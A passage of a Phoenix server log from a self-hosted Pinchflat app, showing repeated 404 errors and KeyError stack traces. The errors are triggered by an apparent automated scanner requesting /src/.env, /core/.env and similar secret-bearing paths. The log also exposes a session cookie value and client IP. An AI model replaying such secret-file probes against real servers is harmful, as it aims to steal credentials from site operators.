"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/frontend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Qsq-OC6BPUAAQuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:10.766 [info] GET /src/.env 02:10:10.768 [debug] QUERY OK source="settings" db=0.5ms idle=342.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.768 [debug] QUERY OK source="settings" db=0.2ms idle=239.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.768 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.769 [error] #PID<0.3352.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 48) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3352.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6RHMQXxTgF4AAQvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:10.893 [info] GET /core/.env 02:10:10.894 [debug] QUERY OK source="settings" db=0.2ms idle=364.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.894 [debug] QUERY OK source="settings" db=0.1ms idle=238.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.894 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.894 [error] #PID<0.3353.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 49) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3353.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6RlaD3CG-JcAAQwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:11.013 [info] GET /core/app/.env 02:10:11.014 [debug] QUERY OK source="settings" db=0.1ms idle=245.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.014 [debug] QUERY OK source="settings" db=0.0ms idle=245.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.014 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.014 [error] #PID<0.3354.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 50) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /core/app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3354.0>, params: %{}, path_info: ["core", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/core/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6SCCtHXiPSsAAQxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", 